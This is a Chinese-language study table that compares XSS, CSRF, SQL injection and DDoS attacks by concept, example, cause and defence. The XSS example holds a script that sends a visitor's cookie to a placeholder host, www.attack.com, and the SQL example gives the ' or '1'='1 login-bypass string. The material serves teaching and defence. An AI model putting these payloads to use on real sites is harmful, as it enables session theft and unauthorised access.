攻击方式 | XSS | CSRF | SQL注入 | DDOS |
---|---|---|---|---|
概念 | Cross-Site Scripting (XSS),跨站脚本攻击,是一种注入攻击。就是在你信任的网站上注入一个JS脚本,然后你打开这个网站的时候会自动执行这个脚本,从而将你浏览器的cookie、token等信息发送到攻击者那里 | Cross-site request forgery (CSRF)跨站请求伪造,是一种利用受害者身份向其访问过的网站A发恶意请求 | 将sql命令伪装成正常的http请求参数,传递到服务器,服务器执行sql命令从而进行攻击 | Distributed Denial of Service,分布式拒绝服务攻击,就是DOS攻击的升级版,简单粗暴,直接拿许多机器向你网站发送请求,占用你网站处理资源,从而使得网站瘫痪。 |
例子 | 比如某博客网站上,有个博主写了个博客包含内容<script>window.open("www.attack.com?param="document.cookie)</script> ,当我们浏览这篇博客的时候,浏览器会加载这个脚本,然后将我们的cookie发送到www.attack.com |
比如用户刚访问过某个银行网站,然后又点击了某个非法网站,该网站加载过程中利用用户浏览器cookie向该银行网站发起转账请求 | 'or '1'='1 是最常见的一种SQL注入攻击,比如登陆某网站输入真实用户名以及'or '1’='1 作为密码,服务器本来要执行select * from user where username=''and passwd='' 这样的sql,利用参数进行替换,结果变成select * from user where username='name'and passwd=''or '1'='1' ,这样就通过验证从而成功登陆 |
cc攻击:服务器最高承受1个G流量,攻击者使用2个G流量模仿正常用户不断访问这个网站 SYN Flood:攻击者伪造大量ip,向服务器发送TCP建立连接的请求,服务器收不到第三次握手消息,会重试发送SYN,导致服务器维护大量的半连接等待列表导致瘫痪 |
被攻击的原因 | 用户输入的数据变成代码,比如上面的<script></script> 只是字符串,却变成了代码 |
用户本地存储cookie,攻击者利用用户的cookie进行认证,然后伪造用户的请求 | 利用sql语句作为参数,服务器进行拼接后形成攻击型SQL语句,使得数据库遭到攻击 | 服务器带宽不足,挡不住攻击者的流量 |
防御方法 | 将输入的特殊字符进行转义编码处理 | 1. 不要使用cookie验证用户身份,可以使用token来验证; 2. 通过http Referer来校验用户访问的上一个网站是否是指定网站 |
1. 使用预编译的SQL执行,因为编译好的SQL执行逻辑定了,其替换的内容只是当作字符串处理。 2. 对参数进行转义 3.数据库中的密码不应该写成明文的,应该加密存储 |
没啥好办法,主要还是烧钱:增加带宽 购买高防服务器 购买CDN进行负载均衡 |
参考
- https://www.cnblogs.com/-new/p/7135814.html
- https://owasp.org/www-community/attacks/xss/